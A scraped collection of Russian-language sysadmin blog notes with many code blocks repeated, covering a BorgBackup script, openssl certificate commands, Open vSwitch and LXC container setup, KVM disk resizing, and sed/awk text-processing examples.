global_exit=$(( backup_exit > prune_exit ? backup_exit : prune_exit ))

if [ ${global_exit} -eq 0 ]; then

info "Backup and Prune finished successfully"

elif [ ${global_exit} -eq 1 ]; then

info "Backup and/or Prune finished with warnings"

else

info "Backup and/or Prune finished with errors"

exit ${global_exit}

Пример самапала

cat backupborg_norm.sh
#!/usr/bin/env bash

## если используется нестандартный SSH-ключ,
## то его надо явно указать:
# export BORG_RSH="ssh -i /home/userXY/.ssh/id_ed25519"

## пароль репозитория Borg можно указать в переменной
## окружения, чтобы не вводить его при каждом запуске
# export BORG_PASSPHRASE="top_secret_passphrase"

##
## Задание переменных окружения
##

## вот так выглядит без переменных
## borg create -C lz4 borg@10.3.1.183:piraspberry::etc_`date +%Y%m%d_%H%M%S` /etc


DATESTAMP=`date +%Y%m%d_%H%M%S`

LOG="backup.log"

BACKUP_USER="borg"

BACKUP_SERVER="10.3.1.183"

REPOSITORY="piraspberry"

NAME_BACKUP="full"

BACKUP_REP="${BACKUP_USER}@${BACKUP_SERVER}:${REPOSITORY}::${NAME_BACKUP}_${DATESTAMP}"


## Исключаем не нужное
##
export BACKUP_EXCLUDE="\
--exclude '/home/*/.cache/*' \
--exclude '/home/*/.tmp/*' \
--exclude /dev \
--exclude /proc \
--exclude /sys \
--exclude /var/run \
--exclude /run \
--exclude /lost+found \
--exclude /mnt"

##
## Будем бэкапить следующие
##

export BACKUP_LIST="\
/etc \
/home \
/root \
/var/log \
/var/spool \
/usr/local \
/opt \
/srv"


#/var/www
#/var/tmp/backup

##
## Вывод в файл журнала
##

exec > >(tee -i ${LOG})
exec 2>&1

echo "======= Backup started: $(date) ========"

## Здесь можно выполнить дополнительные действия
## перед созданием резервной копии, например:
## - сделать дамп базы данных
## - заархивировать /var/www
####[Create and changes directory]
#mkdir /root/backup-tmp
#cd /root/backup-tmp
##[Stamps the file name with a date]
#TIMESTAMP=`date +%m-%d-%y-%H%M`
####[DB Backup Scripts]
#HOST=localhost
#DBNAME="basename"
#USER="username"
#PASSWORD="password"
#DUMP_PATH=/root/backup-tmp/sql
#BACK_PATH=/root/backup-tmp/www/
#BACK_PATH3=/root/backup-tmp/etc/
####[DB Backups]
#mysqldump --opt -c -e -Q -h$HOST -u$USER -p$PASSWORD $DBNAME > $DBNAME.sql
#tar czpf $DUMP_PATH/$DBNAME.$TIMESTAMP.tar.gz $DBNAME.sql
#rm -f $DBNAME.sql
###[Backing files /var/www /etc]
#tar cvzpf $BACK_PATH/www.$TIMESTAMP.tar.gz --same-owner  --exclude=/var/www/site/gruzims/* /var/www
#tar cvzpf $BACK_PATH3/etc.$TIMESTAMP.tar.gz /etc



##
## Передача файлов в репозиторий.
##

echo "Transfer files ..."

##
## Вот так выглядит бэкап в консоле одного каталога etc
# borg create -C lz4 borg@10.3.1.183:piraspberry::etc_`date +%Y%m%d_%H%M%S` /etc
##

##
## Выполняем архив
##

borg create -C lz4 \
        ${BACKUP_EXCLUDE} \
        ${BACKUP_REP} \
        ${BACKUP_LIST}


###
### Действия после всех действий
## - Например удалить каталог сделанный скриптом в примере выше
## rm -rf /root/backup-tmp
## - Или выполнять его очистку, удалять файлы старше 5 дней
## find /var/backup-tmp/mysql -name "*.tar.gz" -mtime +5 |xargs /bin/rm -f {};
## find /var/backup-tmp/www -name "*.tar.gz" -mtime +5 |xargs /bin/rm -f {};



echo "======== Backup ended: $(date) =========="

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

cat backupborg_norm.sh

#!/usr/bin/env bash

## если используется нестандартный SSH-ключ,

## то его надо явно указать:

# export BORG_RSH="ssh -i /home/userXY/.ssh/id_ed25519"

## пароль репозитория Borg можно указать в переменной

## окружения, чтобы не вводить его при каждом запуске

# export BORG_PASSPHRASE="top_secret_passphrase"

## Задание переменных окружения

## вот так выглядит без переменных

## borg create -C lz4 borg@10.3.1.183:piraspberry::etc_`date +%Y%m%d_%H%M%S` /etc

DATESTAMP=`date +%Y%m%d_%H%M%S`

LOG="backup.log"

BACKUP_USER="borg"

BACKUP_SERVER="10.3.1.183"

REPOSITORY="piraspberry"

NAME_BACKUP="full"

BACKUP_REP="${BACKUP_USER}@${BACKUP_SERVER}:${REPOSITORY}::${NAME_BACKUP}_${DATESTAMP}"

## Исключаем не нужное

export BACKUP_EXCLUDE="\

--exclude '/home/*/.cache/*' \

--exclude '/home/*/.tmp/*' \

--exclude /dev \

--exclude /proc \

--exclude /sys \

--exclude /var/run \

--exclude /run \

--exclude /lost+found \

--exclude /mnt"

## Будем бэкапить следующие

export BACKUP_LIST="\

/etc \

/home \

/root \

/var/log \

/var/spool \

/usr/local \

/opt \

/srv"

#/var/www

#/var/tmp/backup

## Вывод в файл журнала

exec > >(tee -i ${LOG})

exec 2>&1

echo "======= Backup started: $(date) ========"

## Здесь можно выполнить дополнительные действия

## перед созданием резервной копии, например:

## - сделать дамп базы данных

## - заархивировать /var/www

####[Create and changes directory]

#mkdir /root/backup-tmp

#cd /root/backup-tmp

##[Stamps the file name with a date]

#TIMESTAMP=`date +%m-%d-%y-%H%M`

####[DB Backup Scripts]

#HOST=localhost

#DBNAME="basename"

#USER="username"

#PASSWORD="password"

#DUMP_PATH=/root/backup-tmp/sql

#BACK_PATH=/root/backup-tmp/www/

#BACK_PATH3=/root/backup-tmp/etc/

####[DB Backups]

#mysqldump --opt -c -e -Q -h$HOST -u$USER -p$PASSWORD $DBNAME > $DBNAME.sql

#tar czpf $DUMP_PATH/$DBNAME.$TIMESTAMP.tar.gz $DBNAME.sql

#rm -f $DBNAME.sql

###[Backing files /var/www /etc]

#tar cvzpf $BACK_PATH/www.$TIMESTAMP.tar.gz --same-owner --exclude=/var/www/site/gruzims/* /var/www

#tar cvzpf $BACK_PATH3/etc.$TIMESTAMP.tar.gz /etc

## Передача файлов в репозиторий.

echo "Transfer files ..."

## Вот так выглядит бэкап в консоле одного каталога etc

# borg create -C lz4 borg@10.3.1.183:piraspberry::etc_`date +%Y%m%d_%H%M%S` /etc

## Выполняем архив

borg create -C lz4 \

${BACKUP_EXCLUDE} \

${BACKUP_REP} \

${BACKUP_LIST}

###

### Действия после всех действий

## - Например удалить каталог сделанный скриптом в примере выше

## rm -rf /root/backup-tmp

## - Или выполнять его очистку, удалять файлы старше 5 дней

## find /var/backup-tmp/mysql -name "*.tar.gz" -mtime +5 |xargs /bin/rm -f {};

## find /var/backup-tmp/www -name "*.tar.gz" -mtime +5 |xargs /bin/rm -f {};

echo "======== Backup ended: $(date) =========="

Установка графического интерфейса (GUI) для Borg

!!! не очень надо, так для общего развития
!!! интерфейс называется vorta
!!! для установки требует python 3.6+
!!! работает X

pip3 install vorta

!!! не очень надо, так для общего развития

!!! интерфейс называется vorta

!!! для установки требует python 3.6+

!!! работает X

pip3 install vorta

ссылки

https://borgbackup.readthedocs.io/en/stable/
https://borgbackup.readthedocs.io/en/stable/usage/notes.html#append-only-mode
https://borgbackup.readthedocs.io/en/stable/usage/create.html
https://borgbackup.readthedocs.io/en/stable/quickstart.html#a-step-by-step-example
https://borgbackup.readthedocs.io/en/stable/usage/extract.html
https://borgbackup.readthedocs.io/en/stable/usage/rename.html
https://borgbackup.readthedocs.io/en/stable/usage/prune.html
https://borgbackup.readthedocs.io/en/stable/deployment/central-backup-server.html
https://b.tinyops.ru/linux-backup-with-borg/
http://www.opennet.ru/tips/3180_borg_backup.shtml

https://borgbackup.readthedocs.io/en/stable/

https://borgbackup.readthedocs.io/en/stable/usage/notes.html#append-only-mode

https://borgbackup.readthedocs.io/en/stable/usage/create.html

https://borgbackup.readthedocs.io/en/stable/quickstart.html#a-step-by-step-example

https://borgbackup.readthedocs.io/en/stable/usage/extract.html

https://borgbackup.readthedocs.io/en/stable/usage/rename.html

https://borgbackup.readthedocs.io/en/stable/usage/prune.html

https://borgbackup.readthedocs.io/en/stable/deployment/central-backup-server.html

https://b.tinyops.ru/linux-backup-with-borg/

http://www.opennet.ru/tips/3180_borg_backup.shtml

разное

openssl / проверка сертификатов / создание сертификатов

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/05/06

openssl x509 -noout -text -in filename.crt - просмотр сертификата

openssl rsa -noout -text -in filename.key - просмотр ключа

openssl req -noout -text -in filename.csr - просмотр CSR

openssl genrsa -out private.key 2048 - генерация ключа

openssl req -new -key private.key -out filename.csr - генерация CSR

openssl req -x509 -nodes -days 9999  -newkey rsa:2048 -keyout ./domain.key -out ./domain.crt - генерация само подписанного сертификата

openssl s_client -servername ИМЯ -connect ХОСТ:ПОРТ - проверка установленного на web-сервер сертификата

openssl x509 -noout -text -in filename.crt - просмотр сертификата

openssl rsa -noout -text -in filename.key - просмотр ключа

openssl req -noout -text -in filename.csr - просмотр CSR

openssl genrsa -out private.key 2048 - генерация ключа

openssl req -new -key private.key -out filename.csr - генерация CSR

openssl req -x509 -nodes -days 9999 -newkey rsa:2048 -keyout ./domain.key -out ./domain.crt - генерация само подписанного сертификата

openssl s_client -servername ИМЯ -connect ХОСТ:ПОРТ - проверка установленного на web-сервер сертификата

ссылка:

https://www.valynkin.ru/rabota-s-sertifikatami-ssl-v-linux.html

1	https://www.valynkin.ru/rabota-s-sertifikatami-ssl-v-linux.html

KVM разное

ovs \ libvirt \ virsh \ lxc \ openvswitch \ openflow \ контейнеры

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/04/25

ссылки:

http://www.openvswitch.org/
https://docs.openvswitch.org/en/latest/howto/libvirt/
https://libvirt.org/drvlxc.html
https://libvirt.org/drvqemu.html
https://www.linux-kvm.org/page/Main_Page
https://xakep.ru/2017/09/04/open-vswitch/
https://habr.com/ru/post/242741/
https://xakep.ru/2012/11/19/59656/
https://docs.openvswitch.org/en/latest/howto/libvirt/
https://russianblogs.com/article/5481757540/

http://www.openvswitch.org/

https://docs.openvswitch.org/en/latest/howto/libvirt/

https://libvirt.org/drvlxc.html

https://libvirt.org/drvqemu.html

https://www.linux-kvm.org/page/Main_Page

https://xakep.ru/2017/09/04/open-vswitch/

https://habr.com/ru/post/242741/

https://xakep.ru/2012/11/19/59656/

https://docs.openvswitch.org/en/latest/howto/libvirt/

https://russianblogs.com/article/5481757540/

Установка необходимых пакетов:

# ставим на Debian 10

apt install openvswitch-switch - ставим openvswitch (ovs)
apt install qemu-kvm libvirt-clients libvirt-daemon-system - устанавливаем libvirt

# ставим на Debian 10

apt install openvswitch-switch - ставим openvswitch (ovs)

apt install qemu-kvm libvirt-clients libvirt-daemon-system - устанавливаем libvirt

openvswitch:

обычное использование без vlan:
ovs-vsctl show - показывает информацию по свитчу, проверяем работу и заодно узнаем какая у нас версия ovs
ovs-vsctl add-br br0 - добавляем свитч с именем br0
ovs-vsctl add-port br0 eth0 - добавляем интерфейс eth0 в свитч br0 

пример с vlan:
ovs-vsctl add-br ovs0 - добавляем свитч openvswitch с именем br0
ovs-vsctl add-port ovs0 eth0 - добавляем интерфейс eth0 в свитч ovs0 
ovs-vsctl set port eth0 vlan_mode=native-untagged tag=2 trunks=2,3,4 - вешаем trunk на интерфейс eth0 
ovs-vsctl add-port ovs0 ovs0-vlan2 tag=2 -- set Interface ovs0-vlan2 type=internal - добавляем порт и вешаем access (tag=2) на интерфейс ovs0-vlan2
ovs-vsctl add-port ovs0 ovs0-vlan4 tag=4 -- set Interface ovs0-vlan4 type=internal - добавляем порт и вешаем access (tag=4) на интерфейс ovs0-vlan2
ovs-vsctl add-port ovs0 ovs0-vlan3 tag=3 -- set Interface ovs0-vlan3 type=internal - добавляем порт и вешаем access (tag=3) на интерфейс ovs0-vlan2

ovs-vsctl set port ovsbr0 tag=29

удаление портов и коммутатора:
ovs-vsctl del-port ovs0-vlan2 - удалить порт (ovs0-vlan2) из коммутатора
ovs-vsctl del-br ovs0 - удалить коммутатор ovs0

обычное использование без vlan:

ovs-vsctl show - показывает информацию по свитчу, проверяем работу и заодно узнаем какая у нас версия ovs

ovs-vsctl add-br br0 - добавляем свитч с именем br0

ovs-vsctl add-port br0 eth0 - добавляем интерфейс eth0 в свитч br0

пример с vlan:

ovs-vsctl add-br ovs0 - добавляем свитч openvswitch с именем br0

ovs-vsctl add-port ovs0 eth0 - добавляем интерфейс eth0 в свитч ovs0

ovs-vsctl set port eth0 vlan_mode=native-untagged tag=2 trunks=2,3,4 - вешаем trunk на интерфейс eth0

ovs-vsctl add-port ovs0 ovs0-vlan2 tag=2 -- set Interface ovs0-vlan2 type=internal - добавляем порт и вешаем access (tag=2) на интерфейс ovs0-vlan2

ovs-vsctl add-port ovs0 ovs0-vlan4 tag=4 -- set Interface ovs0-vlan4 type=internal - добавляем порт и вешаем access (tag=4) на интерфейс ovs0-vlan2

ovs-vsctl add-port ovs0 ovs0-vlan3 tag=3 -- set Interface ovs0-vlan3 type=internal - добавляем порт и вешаем access (tag=3) на интерфейс ovs0-vlan2

ovs-vsctl set port ovsbr0 tag=29

удаление портов и коммутатора:

ovs-vsctl del-port ovs0-vlan2 - удалить порт (ovs0-vlan2) из коммутатора

ovs-vsctl del-br ovs0 - удалить коммутатор ovs0

Примеры настройки сети:

dhcp client:
dhclient ovs0-vlan3 - получить настройки по dhcp для интерфейса ovs0-vlan3

static ifconfig:
ifconfig ovs0-vlan2 inet 10.254.254.1/24 up - настраиваем ip 10.254.254.1/24 и запускаем интерфейс
ifconfig ovs0-vlan4 up - просто запускаем интерфейс без настройки ip


static ip:
ip a - показать доступные устройства
ip address add  192.168.66.10/24 dev eth0 - задаем адрес ipv4
ip link set up eth0 - запускаем интерфейс

dhcp client:

dhclient ovs0-vlan3 - получить настройки по dhcp для интерфейса ovs0-vlan3

static ifconfig:

ifconfig ovs0-vlan2 inet 10.254.254.1/24 up - настраиваем ip 10.254.254.1/24 и запускаем интерфейс

ifconfig ovs0-vlan4 up - просто запускаем интерфейс без настройки ip

static ip:

ip a - показать доступные устройства

ip address add 192.168.66.10/24 dev eth0 - задаем адрес ipv4

ip link set up eth0 - запускаем интерфейс

Собственно пытаемся работать:

virsh --c lxc:// - подключаемся к консоли управления lxc контейнерами
create /root/lxc0.xml - создаем контейнер из шаблона lxc0.xml
create /root/lxc1.xml - создаем контейнер из шаблона lxc1.xml
list - показать доступные контейнеры
console lxc0 - подключаемся к контейнеру lxc0 (CTRL+] - отключится контейнера)

ip a - показать доступные устройства
ip address add  192.168.66.10/24 dev eth0 - задаем адрес ipv4
ip link set up eth0 - запускаем интерфейс


ip a - показать доступные устройства
ip address add  192.168.66.11/24 dev eth0 - задаем адрес ipv4
ip link set up eth0 - запускаем интерфейс

virsh --c lxc:// - подключаемся к консоли управления lxc контейнерами

create /root/lxc0.xml - создаем контейнер из шаблона lxc0.xml

create /root/lxc1.xml - создаем контейнер из шаблона lxc1.xml

list - показать доступные контейнеры

console lxc0 - подключаемся к контейнеру lxc0 (CTRL+] - отключится контейнера)

ip a - показать доступные устройства

ip address add 192.168.66.10/24 dev eth0 - задаем адрес ipv4

ip link set up eth0 - запускаем интерфейс

ip a - показать доступные устройства

ip address add 192.168.66.11/24 dev eth0 - задаем адрес ipv4

ip link set up eth0 - запускаем интерфейс

Шаблон для контейнера(lxc0.xml)

<domain type='lxc'>
    <name>lxc0</name>
    <memory>131072</memory>
    <os>
        <type>exe</type>
        <init>/sbin/init</init>
    </os>
    <vcpu>1</vcpu>
    <clock offset='utc'/>
    <devices>
        <interface type='bridge'>
            <source bridge='br0'/>
            <targert dev='lxc0if'/>
            <virtualport type='openvswitch'/>
        </interface>
        <console type='pty'/>
    </devices>
</domain>

<os>

</os>

</interface>

</devices>

</domain>

Шаблон для контейнера(lxc1.xml)

<domain type='lxc'>
    <name>lxc1</name>
    <memory>131072</memory>
    <os>
        <type>exe</type>
        <init>/sbin/init</init>
    </os>
    <vcpu>1</vcpu>
    <clock offset='utc'/>
    <devices>
        <interface type='bridge'>
            <source bridge='br0'/>
            <targert dev='lxc1if'/>
            <virtualport type='openvswitch'/>
        </interface>
        <console type='pty'/>
    </devices>
</domain>

<os>

</os>

</interface>

</devices>

</domain>

OpenFlow

По умолчанию openvswitch работает как обычный свитч (нету vlan)
ovs-vsctl set-fail-mode br0 secure - включаем режим работы умного свитча (Задействуем протокол OpenFlow)

Гоняем трафик между двумя портами
ovs-ofctl add-flow br0 in_port=1,action=output=2
ovs-ofctl add-flow br0 in_port=2,action=output=1
ovs-ofctl dump-flows br0 - проверяем что мы там настроили 

ovs-vsctl set-fail-mode br0 standalone - вернуть настройки в обычный режим (br0 снова будет как обычный свитч)

По умолчанию openvswitch работает как обычный свитч (нету vlan)

ovs-vsctl set-fail-mode br0 secure - включаем режим работы умного свитча (Задействуем протокол OpenFlow)

Гоняем трафик между двумя портами

ovs-ofctl add-flow br0 in_port=1,action=output=2

ovs-ofctl add-flow br0 in_port=2,action=output=1

ovs-ofctl dump-flows br0 - проверяем что мы там настроили

ovs-vsctl set-fail-mode br0 standalone - вернуть настройки в обычный режим (br0 снова будет как обычный свитч)

KVM разное

KVM изменить размер диска / blockresize / domblklist / guests linux / mbr /gpt

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/04/04

Внимание !!!

Всегда делаем backup!!!

1	Всегда делаем backup!!!

Изменение диска offline / qemu-img

!!! не забываем делать backup

qemu-img resize vmdisk.qcow2 +10G - добавим 10Гб диску vmdisk.img

!!! не забываем делать backup

qemu-img resize vmdisk.qcow2 +10G - добавим 10Гб диску vmdisk.img

Изменение диска online / blockresize

virsh blockresize <domain> <path> <size>
   [--domain] <строка>  имя домена, ID или UUID
   [--path] <строка>  Полный путь к блочному устройству
   [--size] <число>  Новый размер блочного устройства, кратный целому числу (по умолчанию в КиБ)

virsh domblklist name_VM - узнаем какие диски есть у ВМ
virsh blockresize name_VM /kvm/name_VM_disk.qcow2 100G - для ВМ (name_VM), изменим размер диска равный 100Гб

virsh blockresize <domain> <path> <size>

[--domain] <строка> имя домена, ID или UUID

[--path] <строка> Полный путь к блочному устройству

[--size] <число> Новый размер блочного устройства, кратный целому числу (по умолчанию в КиБ)

virsh domblklist name_VM - узнаем какие диски есть у ВМ

virsh blockresize name_VM /kvm/name_VM_disk.qcow2 100G - для ВМ (name_VM), изменим размер диска равный 100Гб

Необходимые действия для гостя, при изменении диска, MBR диск / один раздел / fdisk:

!!! Не забываем делать backup 
!!! Внимание пример для одного диска с одним разделом
!!! fdisk -l - посмотреть доступные

 fdsik /dev/sda - редактируем таблицу разделов
   : p - показываем таблицу разделов
   Устр-во    Загрузочный Start Конец Секторы Size Id Тип
   /dev/sda1  *            2048 14678015 14675968   7G 83 Linux
   : d - удаляем таблицу разделов
   : n - создаем таблицу разделов
   Do you want to remove the signature? [Y]es/[N]o: N - не удаляем сигнатуры
   : a - ставим ставим загрузочный бит
   : w - применяем изменения
!!! после выхода из (fdisk) будет сказано что изменена таблица разделов и необходимо выполнить partprobe
(name_VM)# partprobe - выполняем просим систему перечитать таблицу разделов
(name_VM)# resize2fs /dev/sda1 - выполняем изменения FS

!!! Не забываем делать backup

!!! Внимание пример для одного диска с одним разделом

!!! fdisk -l - посмотреть доступные

fdsik /dev/sda - редактируем таблицу разделов

: p - показываем таблицу разделов

Устр-во Загрузочный Start Конец Секторы Size Id Тип

/dev/sda1 * 2048 14678015 14675968 7G 83 Linux

: d - удаляем таблицу разделов

: n - создаем таблицу разделов

Do you want to remove the signature? [Y]es/[N]o: N - не удаляем сигнатуры

: a - ставим ставим загрузочный бит

: w - применяем изменения

!!! после выхода из (fdisk) будет сказано что изменена таблица разделов и необходимо выполнить partprobe

(name_VM)# partprobe - выполняем просим систему перечитать таблицу разделов

(name_VM)# resize2fs /dev/sda1 - выполняем изменения FS

Необходимые действия для гостя, при изменении диска, MBR диск / несколько разделов / parted:

!!! Не забываем делать backup 
!!! Внимание пример для одного диска и нескольких разделов
!!! fdisk -l - посмотреть доступные

Пример (parted)
(name_VM)# parted /dev/vda - открываем нужный диск
           (parted) print free - покажем доступные  разделы (диск /dev/vda)
               Number Start End Size Type File system Flags
               1 32.3kB 4295MB 4295MB primary ext4 boot
               2 4295MB 8590MB 4295MB primary linux-swap(v1)
               3 8590MB 107GB 98GB primary ext4
                 107GB 215GB 107GB Free Space
           (parted) resizepart 3 - изменяем размер третьего раздела
               End [107GB]? 215GB
           (parted) quit - выходим из parted
(name_VM)#partprobe - выполняем просим систему перечитать таблицу разделов
(name_VM)#resize2fs /dev/vda3 -  выполняем изменения FS

!!! Не забываем делать backup

!!! Внимание пример для одного диска и нескольких разделов

!!! fdisk -l - посмотреть доступные

Пример (parted)

(name_VM)# parted /dev/vda - открываем нужный диск

(parted) print free - покажем доступные разделы (диск /dev/vda)

Number Start End Size Type File system Flags

1 32.3kB 4295MB 4295MB primary ext4 boot

2 4295MB 8590MB 4295MB primary linux-swap(v1)

3 8590MB 107GB 98GB primary ext4

107GB 215GB 107GB Free Space

(parted) resizepart 3 - изменяем размер третьего раздела

End [107GB]? 215GB

(parted) quit - выходим из parted

(name_VM)#partprobe - выполняем просим систему перечитать таблицу разделов

(name_VM)#resize2fs /dev/vda3 - выполняем изменения FS

Необходимые действия для гостя, при изменении диска, GBT диск / несколько разделов / parted:

!!! GPT Рассматривается схема с одним разделом (/dev/vdb1) на весь диск
(name_VM)#partprobe
(name_VM)#gdisk /dev/vdb
  переходим в расширенный режим x
  смещаем запись в конец диска e
  выходим из расширенного режима m
  Command (? for help): d
  Using 1
  Command (? for help): n
  Partition number (1-128, default 1): [Enter]
  First sector (34-2147483614, default = 2048) or {+-}size{KMGTP}: [Enter]
  Last sector (2048-2147483614, default = 2147483614) or {+-}size{KMGTP}: [Enter]
  Current type is 'Linux filesystem'
  Hex code or GUID (L to show codes, Enter = 8300): [Enter]
  Changed type of partition to 'Linux filesystem'
  выходим с сохранением w
(name_VM)#partprobe
(name_VM)#resize2fs /dev/vdb1
или
btrfs filesystem resize max /<MOUNTPOINT>

!!! GPT Рассматривается схема с одним разделом (/dev/vdb1) на весь диск

(name_VM)#partprobe

(name_VM)#gdisk /dev/vdb

переходим в расширенный режим x

смещаем запись в конец диска e

выходим из расширенного режима m

Command (? for help): d

Using 1

Command (? for help): n

Partition number (1-128, default 1): [Enter]

First sector (34-2147483614, default = 2048) or {+-}size{KMGTP}: [Enter]

Last sector (2048-2147483614, default = 2147483614) or {+-}size{KMGTP}: [Enter]

Current type is 'Linux filesystem'

Hex code or GUID (L to show codes, Enter = 8300): [Enter]

Changed type of partition to 'Linux filesystem'

выходим с сохранением w

(name_VM)#partprobe

(name_VM)#resize2fs /dev/vdb1

или

btrfs filesystem resize max /<MOUNTPOINT>

Смонтировать образ диска qcow2 в гипервизоре:

modprobe nbd max_part=8
qemu-nbd --connect=/dev/nbd0 <PATH-TO-IMAGE>.qcow2
fdisk /dev/nbd0 -l
mount -o ro /dev/nbd0p1 /mnt/ext0
umount /mnt/ext0
qemu-nbd --disconnect /dev/nbd0
rmmod nbd

modprobe nbd max_part=8

qemu-nbd --connect=/dev/nbd0 <PATH-TO-IMAGE>.qcow2

fdisk /dev/nbd0 -l

mount -o ro /dev/nbd0p1 /mnt/ext0

umount /mnt/ext0

qemu-nbd --disconnect /dev/nbd0

rmmod nbd

разное

bash \ sed \ cut \ awk \ tr \ работаем с текстом

Автор записи Автор: Evgeny Yakovlev
Дата записи 2021/03/30

Кусок файла примера zxc1.csv:

name;date;ip;allow;blok
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.4;yes;no
printer;15;192.168.0.4;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.7;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.7;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.7;yes;no
printer;15;192.168.0.1;yes;no
printer;15;192.168.0.1;yes;no

Решение:
cat zxc.csv | cut -f 3 -d";" | sort | uniq
awk -F ';' '{ print $1,$3 }' zxc.csv  | sort | uniq

name;date;ip;allow;blok

printer;15;192.168.0.1;yes;no

printer;15;192.168.0.4;yes;no

printer;15;192.168.0.1;yes;no

printer;15;192.168.0.7;yes;no

printer;15;192.168.0.1;yes;no

printer;15;192.168.0.7;yes;no

printer;15;192.168.0.1;yes;no

printer;15;192.168.0.7;yes;no

printer;15;192.168.0.1;yes;no

Решение:

cat zxc.csv | cut -f 3 -d";" | sort | uniq

awk -F ';' '{ print $1,$3 }' zxc.csv | sort | uniq

Кусок файла примера zxc1.csv:

Алексей,+2 (522) 7234-246-57
Александр,+3 (234944) 123-73-33
Ярослав,+4 (455) 62205-111-87
Максим,+5 (315) 51014-656-923
Дмитрий,+6 (2062) 6434-994-2983
Алексей,+7 (927435) 40302-1945-39844

Решение:
cat zxc1.csv  | sed 's/ //g' | sed 's/-//g' | sed 's/(//' | sed 's/)//g' | sed 's/+//g' | sed 's/,/ /g'
cat zxc1.csv  | sed -e '{s/-//g}'  -e '{s/(//g}' -e 's/)//g' -e '{s/+//g}' -e '{s/ //g}' -e '{s/,/ /}'

Алексей,+2 (522) 7234-246-57

Александр,+3 (234944) 123-73-33

Ярослав,+4 (455) 62205-111-87

Максим,+5 (315) 51014-656-923

Дмитрий,+6 (2062) 6434-994-2983

Алексей,+7 (927435) 40302-1945-39844

Решение:

cat zxc1.csv | sed -e '{s/-//g}' -e '{s/(//g}' -e 's/)//g' -e '{s/+//g}' -e '{s/ //g}' -e '{s/,/ /}'

Примеры sed

sed 's/string1/string2/g' example.txt - заменить string1 на string2 в файле example.txt и вывести содержимое
sed '/ *#/d; /^$/d' example.txt - удалить пустые строки и комментарии из файла example.txt
sed '/^$/d' example.txt - удалить пустые строки и комментарии из файла example.txt
sed  '/serv*/a\ \'  - добавить пустую строку после слова serv
sed 's/serv/\nserv/' - добавить строку перед словом serv 

sed -e '1d' exampe.txt - удалить первую строку из файла example.txt
sed -n '/string1/p' - отобразить только строки содержащие string1
sed -e 's/string//g' example.txt - удалить строку string1 из текста файла example.txt не изменяя всего остального
sed -e 's/ *$//' example.txt - удалить пустые символы в конце каждой строки файла example.txt
sed -n '5p;5q' example.txt - вывести пятую строку
sed -n '2,5p' example.txt - вывести строки со второй по пятую
sed -e 's/00*/0/g' example.txt - Заменить последовательность из любого количества нулей одним нулём


Примем убираем пробелы, знаки"()+-", в конце знак "," заменяем на пробел:
cat zxc1.csv  | sed 's/ //g' | sed 's/-//g' | sed 's/(//' | sed 's/)//g' | sed 's/+//g' | sed 's/,/ /g' > rasilka.csv.edit
Используем специальный ключ "-e" убираем пробелы, знаки"()+-", в конце знак "," заменяем на пробел
cat zxc1.csv | sed -e 's/ //g' -e 's/-//g' -e 's/(//g' -e 's/)//g' -e 's/+//g' -e 's/,/ /g'

sed - пример шаблонов
---------------------
8d - удалить 8-ю строку
/^$/d -	удалить все пустые строки
1,/^$/d	- удалить все строки до первой пустой строки, включительно
/Jones/p - вывести строки, содержащие "Jones" (с ключом -n)
s/Windows/Linux/ - в каждой строке, заменить первое встретившееся слово "Windows" на слово "Linux"
s/BSOD/stability/g - в каждой строке, заменить все встретившиеся слова "BSOD" на "stability"
s/ *$//	- удалить все пробелы в конце каждой строки
s/00*/0/g - заменить все последовательности ведущих нулей одним символом "0"
/GUI/d - удалить все строки, содержащие "GUI"
s/GUI//g - удалить все найденные "GUI", оставляя остальную часть строки без изменений
's/:.*//' - удалить от все последующие символы после двоеточия(:)
--------------------

sed 's/string1/string2/g' example.txt - заменить string1 на string2 в файле example.txt и вывести содержимое

sed '/ *#/d; /^$/d' example.txt - удалить пустые строки и комментарии из файла example.txt

sed '/^$/d' example.txt - удалить пустые строки и комментарии из файла example.txt

sed '/serv*/a\ \' - добавить пустую строку после слова serv

sed 's/serv/\nserv/' - добавить строку перед словом serv

sed -e '1d' exampe.txt - удалить первую строку из файла example.txt

sed -n '/string1/p' - отобразить только строки содержащие string1

sed -e 's/string//g' example.txt - удалить строку string1 из текста файла example.txt не изменяя всего остального

sed -e 's/ *$//' example.txt - удалить пустые символы в конце каждой строки файла example.txt

sed -n '5p;5q' example.txt - вывести пятую строку

sed -n '2,5p' example.txt - вывести строки со второй по пятую

sed -e 's/00*/0/g' example.txt - Заменить последовательность из любого количества нулей одним нулём

Примем убираем пробелы, знаки"()+-", в конце знак "," заменяем на пробел:

Используем специальный ключ "-e" убираем пробелы, знаки"()+-", в конце знак "," заменяем на пробел

cat zxc1.csv | sed -e 's/ //g' -e 's/-//g' -e 's/(//g' -e 's/)//g' -e 's/+//g' -e 's/,/ /g'

sed - пример шаблонов

---------------------

8d - удалить 8-ю строку

/^$/d - удалить все пустые строки

1,/^$/d - удалить все строки до первой пустой строки, включительно

/Jones/p - вывести строки, содержащие "Jones" (с ключом -n)

s/Windows/Linux/ - в каждой строке, заменить первое встретившееся слово "Windows" на слово "Linux"

s/BSOD/stability/g - в каждой строке, заменить все встретившиеся слова "BSOD" на "stability"

s/ *$// - удалить все пробелы в конце каждой строки

s/00*/0/g - заменить все последовательности ведущих нулей одним символом "0"

/GUI/d - удалить все строки, содержащие "GUI"

s/GUI//g - удалить все найденные "GUI", оставляя остальную часть строки без изменений

's/:.*//' - удалить от все последующие символы после двоеточия(:)

--------------------

Примеры работы с cut, sort, unic, sed, awk, tr

cat zxc.csv | cut -f 3 -d";" | sort | uniq

Поясним про (cut -f 3 -d";") в данном примере: 
(-f 3) выбор столбца 3
(-d";")  выбор разделителя (;)
Поясним про (sort), он не обходим что бы работа (uniq) была выполнена правильно 
Поясним про unic - покажет уникальные значения

